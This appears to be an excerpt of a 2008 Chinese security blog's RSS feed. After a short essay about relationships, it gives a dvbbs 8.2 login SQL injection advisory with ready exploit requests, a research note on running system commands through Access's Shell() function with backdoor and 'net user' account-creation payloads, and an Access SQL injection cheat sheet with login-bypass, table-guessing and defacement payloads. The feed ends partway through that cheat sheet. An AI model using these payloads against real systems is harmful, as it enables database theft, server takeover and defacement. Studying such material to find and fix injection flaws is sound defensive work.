<P style="TEXT-INDENT: 2em">有些傻女人，用自己的生命去留住他；有些女人天真的用身体去留住他，结果这两种女人都失败了。男人接纳一个女人的开始是因为他爱你的上半身，他喜欢的是你的性格你的智慧你的学识你带给他的不同的感受，但是当他对你没有了旧日的情感，他用上半身说分手，而对下半身的渴望已经淡漠。<A href="http://imgcache.qq.com/qzone_v4/b.gif"><WBR></WBR><IMG src="http://imgcache.qq.com/qzone_v4/b.gif" border=0><WBR></WBR></A><WBR></WBR><WBR></WBR><A href="http://imgcache.qq.com/ac/qzone_v4/b.gif"><IMG src="http://imgcache.qq.com/ac/qzone_v4/b.gif" border=0></A></P></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/31798557200855956463</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/31798557200855956463</guid>
    <pubDate>Thu, 5 Jun 2008 09:56:04 +0800</pubDate>
    <dcterms:modified>2008-06-05T09:56:04+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[dvbbs8.2(access/sql)version login.asp remote sql injection]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200852881013</link>
    <description><![CDATA[<div><DIV >
<ADDRESS ><SPAN ><DFN>From</DFN>: &lt;<A href="mailto:hackerb_at_hotmail.com?Subject=Re:%20dvbbs8.2(access/sql)version%20login.asp%20remote%20sql%20injection">hackerb_at_hotmail.com</A>&gt; </SPAN><BR><SPAN ><DFN>Date</DFN>: 29 May 2008 10:19:00 -0000</SPAN><BR></ADDRESS>('binary' encoding is not supported, stored as-is) name: <BR>where (topsec security research group) <BR>
<P>email: <BR>hackerb_at_hotmail.<!--nospam-->com <BR>
</P><P>Subject: <BR>dvbbs8.2(access/sql)version login.asp remote sql injection <BR>
</P><P>danger level: <BR>critical/High <BR>
</P><P>info: <BR>dvbbs is prone to multiple sql injection security flaw <BR>
</P><P>interrelated code to access version(exp): <BR>password=123123&amp;codestr=71&amp;CookieDate=2&amp;userhidden=2&amp;comeurl=index.asp&amp;submit=%u7ACB%u5373%u767B%u5F55&amp;ajaxPost=1&amp;username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271 <BR>
</P><P>Examples(access version): <BR>decide <BR>Where? and ?1?=?1 <BR>where? and ?1?=?2 <BR>to get usernamer or password <BR>where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 <BR>where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1 <BR>....................... <BR>....................... <BR>where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1 <BR>where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1 <BR>...................... <BR>...................... <BR>
</P><P>Solution: <BR>Authorities patch <BR>dvbbs web site(<A href="http://www.dvbbs.net/">http://www.dvbbs.net</A>) <BR>
</P><P>References: <BR>dvbbs(<A href="http://www.dvbbs.net/">http://www.dvbbs.net</A>) <BR><SPAN ><DFN>Received on</DFN> May 29 2008</SPAN> </P></DIV><!-- body="end" --></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/31798557200852881013</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/31798557200852881013</guid>
    <pubDate>Mon, 2 Jun 2008 08:08:10 +0800</pubDate>
    <dcterms:modified>2008-06-02T08:08:10+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[ACCESS高级注入]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200842783157739</link>
    <description><![CDATA[<div><P>现在我们在脚本注入攻击的技术中,常用的手法分好多种,最普通的是利用子查询或者是Union联合查询来取得一些特殊表中的内容,比如Admin,Log表等等,这是一种纯粹的对数据库的攻击方式,而MSSQL Server的方法则更为多样和复杂,<BR>当我们取得连接权限较高的注入点的时候,我们可以利用MSSQL Server本身所带的扩展来执行命令，或者是获取目录,读取文件与修改注册表;在低权用户的连接中，我们则可以试用差异备份,<BR>或者干脆就是跑数据库等方式来实现对系统的直接攻击或者是间接的攻击.再则则是类似于Oracle\MySQL\DB2这些非MS直接支持的数据库关于他们,我们也有多种多样的攻击手法,执行命令,导出文件或读取文件等.<BR>以上是一些我们针对常用数据库的攻击方式的大体总结,不难看出，其中最鸡肋的,要算是Access的数据库了.一来在Access中,无法直接获取数据库中的表名和字段名称,二来在Access中,我们能做的东西非常少,<BR>再说也不支持多语句的SQL语法,和T-SQL的标准又有不少的区别,让人觉得Access数据库中仅有的Insert,Update,Select,Delte,Produce仅仅是对SQL语句的封装而已.所以,我们依旧需要对Access进行研究.<BR>在这篇研究笔记中,我所参考的文章和资料,有部分来自nsfocus和xFocus早在2000-2002年的文档,另一篇则是SuperHei所发表的&lt;关于Access的一些测试&gt;,<BR>大家可以在<A href="http://www.4ngel.net/">http://www.4ngel.net/</A>安全天使安全小组的网站上查询到.OK,废话不要太多,我们继续研究.<BR>我们可以去翻看微软在刚推出Windows 2000的时候曾经出现过几个非常大的脚本漏洞的漏洞公告，其中比如cateloy_type.asp的远程注入漏洞和Msadscs.dll漏洞等都涉及了与现在的攻击手法或者是常用的利用方法极为不同的地方,<BR>比如Catelog_type.asp的注入漏洞,它的代码中出现的问题是这样的:<BR>"select * from cateloy where type='" &amp; Requset("Type") &amp; "'"<BR>谁都能看明白这是一个非常低级的注入漏洞,直接将Type的值放入SQL语句中查询,并没有估计到用户的恶意输入.<BR>如果换作现在,我们基本上只有拿来跑表份,幸好MS没设置类似PHP的gpc,否则我们将一事无成.但是我们可以查看这篇漏洞资料的利用方式,其中涉及到了一个SQL语句:<BR>Select * from Sometable where somefield='|Select Shell("cmd.exe /c dir")|'<BR>关于这个语句的介绍,是漏洞资料中所说的,Access允许用"|"来创建VBA函数,导致命令被执行,其实这只是Access内置的一个特殊函数而已,相类似的还有cudir和Command函数.具体的我们可以在Access中测试.测试的SQL语句如下:<BR>Select Shell("cmd.exe /c dir c:\ &gt; c:\kevin.txt")<BR>回到C盘,我们果然看到了kevin.txt.说明语句执行成功了.<BR>然后我们将其转到脚本中测试吧.编写如下的VBS脚本<BR>Set Conn=Createobject("Adodb.Connection")<BR>Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=kevins4t.mdb"<BR>Set Rs=Conn.execute("Select Shell(""cmd.exe /c dir c:\ &gt; c:\kevin.txt"")")<BR>Msgbox Rs(0)<BR>这一此出现的结果很出乎我们的意料,错误的原因是"表达式中的'Shell'函数未定义".现在我们需要安静下来喝杯咖啡然后思考为什么同样的语句在不同的执行者间会出现如此截然不同的问题.一个能正常执行,<BR>而另外一个则是找不到函数.试想微软一定在其中的什么地方设置了一个开关,那么我们就去微软的知识库去了解一下.<BR>在微软的一篇关于沙盒模式的文档中,我们了解到一些内容:<BR>为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在<BR>HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,<BR>2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.<BR>那么好吧,我们来看看如果将值变为0将会怎样.<BR>这次运行我们的VBS的时候,出现的情况是一组数字,再在C盘下查看文件,果然看到了我们的kevin.txt.很神奇吧.原来Access也是可以执行命令的,只是微软这家伙总是懒得说出来而已.但是如果在实际方面会怎样呢?<BR>一.后门的设置<BR>我们的运用将会很窄.真的,一来我们需要的权限很高,起码要到能改注册表的权限,默认是Admin和LocalSystem,二来是我们将如何修改注册表，远程吗?没门的.所以我们只好将其当作一个后门用.<BR>只要我们修改了注册表的值,那么在普通的注入语句中,这是一个很不错的后门方式,最起码可以在外部执行一些小小的命令什么的.<BR>比如我们在渗透某个站点的时候拿到了最高权限,并且修改了这个SandBoxMode,之后我们被管理员扫地出门了.那么,在首页的某个地方依旧存在这一个Select的注入点,这样最好,我们让服务器执行如下的SQL就行了.<BR>InjectionURL' and 0&lt;&gt;(select shell("cmd.exe /c net user &gt; c:\inetpub\wwwroot\kevins4t.txt"))%00<BR>这样我们就可以一步一步的将重新服务器拿下.<BR>二.远程攻击<BR>这将是一个很有意思的话题.首先我们必须有修改注册表的权限,二是有修改注册表的条件,三是可以执行SandboxMode的环境,必须三样同时满足才行,到底是在什么情况下呢?<BR>我们知道,我们平时在杂志上看到的文章,很多的无非就是在一个以Sa连接的InjectionURL中苦苦挣扎,一是执行命令,如果去掉了扩展或者是将扩展需要的DLL移走,我们将一无所用.那么聪明的你是否想到了方法?<BR>我们知道,只有Sa的权限才有可能去打开另外一个Access的连接的,当我们满足了打开Access的条件的同时,我们也满足了修改注册表的条件和权限,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下<BR>exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value<BR>那我们只要将SandBoxMode修改为0或者1就成功了.然后则是MSSQL的OpenRowSet函数,它用于打开一个特殊的数据库或者连接到另一个数据库之中.当我们具备SysAdmin的权限的时候,我们就可以做到打开Jet引擎.那么我们只要连接到一个Access数据库中,<BR>然后执行命令就可以了.但是关键的问题是如何寻找这个Access数据库.<BR>关于这个问题我以前想了很多,一开始是想,利用目录便历来查询数据库的位置.但是这种方法成功率不会很高,有的时候我们碰到很多的站点都设置了非常好的权限,无法找到MDB数据库.这是最为烦恼的地方.<BR>不过后来我想到了一些前人用过的方式,系统里本来就有2-3个现存的数据库嘛,何必费神的去找呢?它们的位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb这样一来,我们有了执行宿主,就没什么好怕的了.执行一下我们所需要的命令吧<BR>InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user kevin 1986 /ad")');--<BR>这样,我们就执行了命令了.而且继承的是MSSQL的LocalService的System权限.</P>
<P>--------------------------------------------------------------------------------------------------------------------------------------------------------</P>
<P>用户表<BR>SELECT Name FROM msysobjects WHERE Type = 1 and flags=0<BR>所有表<BR>SELECT Name FROM msysobjects WHERE Type = 1 </P>
<P>判断版本：<BR>SELECT NULL FROM MSysModules2&nbsp; '97<BR>SELECT NULL FROM MSysAccessObjects '97 2000<BR>SELECT NULL FROM MSysAccessXML '2000 2002-2003<BR>SELECT NULL FROM MSysAccessStorage '2002-2003 2007</P>
<P>SandBoxMode:<BR>SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在<BR>HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.<BR>微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,<BR>2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.</P>
<P>执行命令：<BR>Select Shell("cmd.exe /c dir c:\ &gt; c:\kevin.txt")</P>
<P>读文件<BR>SELECT *&nbsp; FROM [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin.txt]</P>
<P>写文件：【不能在子查询和UNION查询中，实用价值不大】<BR>SELECT "text to write"&nbsp; into [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin1.txt]</P>
<P>当前路径：sandboxing enable<BR>select curdir() from msysaccessobjects<BR>select dir('c:\ ') from msysaccessobjects<BR>select environ(1) from msysaccessobjects<BR>select filedatetime('c:\boot.ini') from msysaccessobjects<BR>select filelen('c:\boot.ini') from msysaccessobjects<BR>select getattr('c:\ ') from msysaccessobjects<BR>select shell('cmd.exe /c dir c:\ &gt; c:\kevin.txt') from msysaccessobjects</P>
<P>跨文件查询：<BR>SELECT *&nbsp; FROM dv_address IN 'D:\dailian\bbs\Dvbbs8.2.0_Ac\Data\IPaddress.mdb'</P>
<P>连接MSSQL:<BR>SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=(local);UID=sa;PWD=2853wang; DATABASE=master].Information_Schema.Tables</P>
<P>参考资料：<BR><A href="http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf">http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf</A></P></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/31798557200842783157739</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/31798557200842783157739</guid>
    <pubDate>Tue, 27 May 2008 08:31:57 +0800</pubDate>
    <dcterms:modified>2008-05-27T08:31:57+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[Access SQL注入参考]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200842782711440</link>
    <description><![CDATA[<div><TABLE style="BORDER-COLLAPSE: collapse" borderColor=#111111 height=312 cellSpacing=0 cellPadding=2 width="80%" border=1>
<TBODY>
<TR>
<TD width=1028 bgColor=#800080 colSpan=2 height=19>
<P align=center><FONT color=#ffffff><STRONG><SPAN ><FONT face=Verdana size=6>Access SQL注入参考</FONT></SPAN></STRONG></FONT> </P>
<P align=center><SPAN ><STRONG><FONT face=Verdana color=#ffffff size=2>版本 0.2.1<BR>(最近更新 10/10/2007)<BR>恶魔傻蛋译</FONT></STRONG></SPAN> </P>
<P align=center>&nbsp;</P></TD></TR>
<TR>
<TD width=205 bgColor=#efefef height=19><STRONG><FONT face=Verdana size=4>描述</FONT></STRONG></TD>
<TD width=823 bgColor=#efefef height=19><STRONG><FONT face=Verdana size=4>SQL查询及注释</FONT></STRONG></TD></TR>
<TR>
<TD align=left width=205 height=1><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>注释符</FONT></STRONG></EM></TD>
<TD width=823 height=1><FONT face=Verdana>Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:</FONT> 
<UL>
<LI dir=ltr>
<P dir=ltr><FONT face=Verdana><STRONG>' UNION SELECT 1,1,1 FROM validTableName<FONT color=#0066ff>%00</FONT></STRONG></FONT> </P></LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=10><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>语法错误信息</FONT></STRONG></EM></TD>
<TD width=823 height=10><FONT face=Verdana size=3>"[Microsoft][Driver ODBC Microsoft Access]"</FONT></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>多句执行</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>不支持.</FONT></TD></TR>
<TR>
<TD noWrap align=left width=205 height=36><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>联合查询</FONT></STRONG></EM></TD>
<TD width=823 height=36><FONT face=Verdana>Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.</FONT></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>附属查询</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>Access支持附属查询(例如:<EM><STRONG><FONT color=#ff0000>"TOP 1"</FONT></STRONG></EM>用来返回第一行的内容) :</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' AND <FONT color=#0066ff>(SELECT TOP 1 'someData' FROM validTableName)</FONT>%00</FONT></STRONG> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=36><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>LIMIT支持</FONT></STRONG></EM></TD>
<TD width=823 height=36><FONT face=Verdana>LIMIT不被支持,但是在查询中可以声明<STRONG><EM><FONT color=#ff0000>"TOP N"</FONT></EM></STRONG>来限制返回内容的行数:</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>TOP 3</FONT> AttrName FROM validTableName%00</STRONG> : 这条语句返回(前)3 行.</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>让查询返回0行</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' <FONT color=#0066ff>AND 1=0</FONT> UNION SELECT AttrName1,AttrName2 FROM validTableName%00</FONT></STRONG> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>字符串连接</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>不支持CONCAT()函数. 可以使用"&amp;"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:</FONT> 
<UL>
<LI dir=ltr>
<P dir=ltr><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>'web' %2b 'app'</FONT> FROM validTableName%00 </STRONG>: 返回"webapp"</FONT> </P>
</LI><LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>'web' %26 'app'</FONT> FROM validTableName%00 </STRONG>: 返回"webapp"</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>子字符串</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>MID()函数:</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>MID('abcd',1,1)</FONT> FROM validTableName%00 </STRONG>: 返回 "a"</FONT> 
</LI><LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>MID('abcd',2,1)</FONT> FROM validTableName%00 </STRONG>: 返回 "b"</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>字符串长度</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>LEN()函数:</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>LEN('1234')</FONT> FROM validTableName%00 </STRONG>: 返回 4</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>暴WEB路径</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' UNION SELECT 1 <FONT color=#0066ff>FROM ThisIsAFakeName.FakeTable</FONT>%00</FONT></STRONG> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><STRONG><EM><FONT face="Times New Roman" color=#ff3300 size=4>取字符的ASCII值</FONT></EM></STRONG></TD>
<TD width=823 height=19><FONT face=Verdana>ASC()函数:</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>ASC('A')</FONT> FROM ValidTable%00</STRONG> :返回65 ('A'的ASCII值)</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>ASCII值转换为字符</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>CHR()函数:</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>CHR(65)</FONT> FROM validTableName%00 </STRONG>: 返回 'A'</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>IF语句</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>可以使用IIF()函数. 语法 : IIF(condition, true, false) :</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>IIF(1=1, 'a', 'b')</FONT> FROM validTableName%00</STRONG> : 返回 'a'</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>时间接口</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.<STRONG><A href="http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx"><FONT color=#0066ff><U>点击这里查看参考</U></FONT></A></STRONG>.</FONT></TD></TR>
<TR>
<TD align=left width=205 height=1><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>验证文件是否存在</FONT></STRONG></EM></TD>
<TD width=823 height=1>
<P dir=ltr><FONT face=Verdana>在注入的时候使用:</FONT> </P>
<UL>
<LI dir=ltr>
<P dir=ltr><FONT face=Verdana><STRONG>' UNION SELECT name FROM msysobjects <FONT color=#0066ff>IN '\boot.ini'</FONT>%00 </STRONG>: (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized. </FONT></P></LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=1><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>表名猜解</FONT></STRONG></EM></TD>
<TD width=823 height=1><FONT face=Verdana>这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:</FONT><BR>&nbsp; 
<DIV align=center>
<CENTER>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#111111 cellSpacing=0 cellPadding=0 width="89%" border=1>
<TBODY>
<TR>
<TD borderColor=#efefef align=middle width="100%" bgColor=#efefef>
<P dir=ltr align=left><FONT face="Courier New" size=2><BR>static private String columnErrorMessage = "...";<BR>static private String accessError = "...";<BR><BR>[...]<BR><BR>public String bruteTableName(Request r) { // 0<BR><BR>&nbsp;&nbsp; String resp = new String();<BR>&nbsp;&nbsp; String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1<BR><BR>&nbsp;&nbsp; for(int i = 0; i &lt; table.length; i++) {<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return table[i];<BR>&nbsp;&nbsp; }<BR><BR>&nbsp;&nbsp; return null;<BR>}<BR>&nbsp;</FONT></P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P><FONT face=Verdana><EM><STRONG>bruteTableName()</STRONG></EM>的参数是一个名为"Request"的对象(见注释0).这个例子靠&nbsp;<STRONG><EM>sendInjection()</EM></STRONG> (见注释2)尝试检测查询:</FONT> </P>
<UL>
<LI><STRONG><FONT face=Verdana>' UNION <FONT color=#0066ff>SELECT 1 FROM table[i]</FONT>%00</FONT></STRONG> </LI></UL>
<P dir=ltr><FONT face=Verdana><EM><STRONG>table[i]</STRONG></EM>是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, <EM><STRONG>sendInjection()</STRONG></EM>函数返回提交注入代码后的回应html代码.如果<STRONG><EM>resp</EM></STRONG>包含 <EM><STRONG>columnErrorMessage</STRONG></EM> 字符串(见注释3),恭喜你,你找到了一个存在的表.<EM><STRONG> columnErrorMessage</STRONG></EM> 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=1><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>列名猜解</FONT></STRONG></EM></TD>
<TD width=823 height=1><FONT face=Verdana>需要一个已知的表名和主查询的列的数目:</FONT> 
<UL>
<LI><FONT face=Verdana><STRONG>' UNION SELECT <FONT color=#0066ff>fieldName[j],1,1,1</FONT> FROM validTableName%00</STRONG></FONT> </LI></UL>
<P dir=ltr><FONT face=Verdana>你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=1><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>绕过登陆</FONT></STRONG></EM></TD>
<TD width=823 height=1><FONT face=Verdana>用户名:<STRONG><FONT color=#0066ff> ' OR 1=1%00</FONT></STRONG> (or <STRONG><FONT color=#0066ff>" OR 1=1%00</FONT></STRONG>)</FONT> 
<P><FONT face=Verdana>密码: (留空)</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=18><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>列名枚举</FONT></STRONG></EM></TD>
<TD width=823 height=18><FONT face=Verdana><STRONG><FONT color=#0066ff><EM>按语 </EM></FONT><EM><FONT color=#0066ff>: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用. </FONT></EM></STRONG></FONT>
<P dir=ltr><FONT face=Verdana>通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: </FONT></P>
<UL>
<LI><FONT face=Verdana><STRONG><FONT color=#ff6666><EM>Error (...) syntax (...) query (...) : " Id=0' "</EM></FONT></STRONG></FONT> </LI></UL><FONT face=Verdana>从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名: </FONT>
<UL>
<LI><STRONG><FONT face=Verdana>' <FONT color=#0066ff>GROUP BY Id</FONT>%00</FONT></STRONG> </LI></UL>
<P><FONT face=Verdana>现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: </FONT></P>
<UL>
<LI><STRONG><FONT face=Verdana>' GROUP BY Id,<FONT color=#0066ff> SecondAttrName, ...</FONT>%00</FONT></STRONG> </LI></UL>
<P><FONT face=Verdana>直到获取到所有的表名.</FONT></P></TD></TR>
<TR>
<TD align=left width=1027 bgColor=#efefef colSpan=2 height=1>
<P dir=ltr><STRONG><FONT face=Verdana size=4>与操作系统的交互</FONT></STRONG></P></TD></TR>
<TR>
<TD align=left width=1028 bgColor=#cc3399 colSpan=2 height=1>
<P align=center><STRONG><EM><FONT face="Times New Roman" color=#ffffff size=5>这些函数默认不可用</FONT></EM></STRONG></P></TD></TR>
<TR>
<TD align=left width=205 height=19><STRONG><EM><FONT face="Times New Roman" color=#ff3300 size=4>安全提示</FONT></EM></STRONG></TD>
<TD width=823 height=19><FONT face=Verdana>可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...):</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana color=#0066ff>\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode</FONT></STRONG> </LI></UL>
<P><FONT face=Verdana>它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.</FONT></P></TD></TR>
<TR>
<TD align=left width=205 height=19><STRONG><EM><FONT face="Times New Roman" color=#ff3300 size=4>获取当前目录</FONT></EM></STRONG></TD>
<TD width=823 height=19><FONT face=Verdana>需要一个已知的表名和主查询的列的数目:</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' UNION SELECT <FONT color=#0066ff>CurDir()</FONT>,1,1 FROM validTableName%00</FONT></STRONG> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=19><EM><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>执行系统命令</FONT></STRONG></EM></TD>
<TD width=823 height=19><FONT face=Verdana>SHELL()函数可以用来执行系统命令:</FONT> 
<UL>
<LI><STRONG><FONT face=Verdana>' AND <FONT color=#0066ff>SHELL('cmd.exe /c echo owned &gt; c:\path\name\index.html')</FONT>%00</FONT></STRONG> </LI></UL></TD></TR>
<TR>
<TD align=left width=1027 bgColor=#efefef colSpan=2 height=1>
<P dir=ltr><STRONG><FONT face=Verdana size=4>Access的系统表</FONT></STRONG></P></TD></TR>
<TR>
<TD align=left width=1028 bgColor=#cc3399 colSpan=2 height=1>
<P align=center><STRONG><EM><FONT face="Times New Roman" color=#ffffff size=5>这些系统表默认不可访问</FONT></EM></STRONG></P></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>MSysAccessXML</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>表中包含的列: </FONT>
<UL>
<LI><FONT face=Verdana>Id</FONT> 
</LI><LI><FONT face=Verdana>LValue</FONT> 
</LI><LI><FONT face=Verdana>ObjectGuid</FONT> 
</LI><LI><FONT face=Verdana>ObjectName</FONT> 
</LI><LI><FONT face=Verdana>Property</FONT> 
</LI><LI><FONT face=Verdana>Value</FONT> </LI></UL>
<P>&nbsp;</P></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>MSysACEs</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>表中包含的列: </FONT>
<UL>
<LI><FONT face=Verdana>ACM</FONT> 
</LI><LI><FONT face=Verdana>FInheritable</FONT> 
</LI><LI><FONT face=Verdana>ObjectId</FONT> 
</LI><LI><FONT face=Verdana>SID</FONT> </LI></UL></TD></TR>
<TR>
<TD align=left width=205 height=1><STRONG><FONT face="Times New Roman" color=#ff3300 size=4>MSysObjects</FONT></STRONG></TD>
<TD width=823 height=1><FONT face=Verdana>这里可以获得表名:</FONT> 
<UL>
